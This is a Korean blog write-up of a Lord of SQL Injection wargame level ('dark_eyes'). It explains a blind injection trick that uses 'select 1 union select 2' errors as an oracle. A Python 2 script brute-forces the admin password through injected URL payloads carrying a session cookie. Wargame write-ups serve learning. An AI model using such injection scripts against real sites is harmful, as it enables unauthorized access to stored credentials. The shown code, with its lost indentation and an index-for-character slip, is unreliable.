이번 문제는 전 문제와 다르게 에러의 내용도 출력해 주지 않고 if, case, when 등 조건문을 필터링한다. 쿼리가 제대로 실행이 되는지 에러가 나는지 알 방법이 필요한데, 이때에 필요한것이 select 1 union select 2이다.
먼저 length 함수를 이용해서 패스워드 길이를 알아본다 union select 2 <== 2부분에 length(pw)=8을 넣어보니 쿼리와 php코드가 나오는 걸로 보아 패스워드는 8자리임을 알 수 있었다.
import urllib2
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=dn70g3n70fevi6e1e1rfp4ml82'}
result=[]
for i in range(1,9):
for j in range(0,0xff):
urL="http://los.eagle-jump.org/dark_eyes_a7f01583a2ab681dc71e5fd3a40c0bd4.php?pw=%27%20||%20id=%27admin%27%20%26%26%20(select%201%20union%20select%20ord(substr(pw,{0},1))={1})%23".format(str(i),str(j))
request = urllib2.Request(urL, None, headers)
response = urllib2.urlopen(request)
res=response.read()
if "query" in res:
result+=str(i)
break
print str(i)+"ord : "+str(j)
'Web Hacking > Lord of SQL injection' 카테고리의 다른 글
24.los umaru (0) | 2018.04.03 |
---|---|
20.los iron_golem (0) | 2018.03.30 |
19.los dragon (0) | 2018.03.30 |
18.los xavis (0) | 2018.03.29 |
17.los nightmare (0) | 2018.03.29 |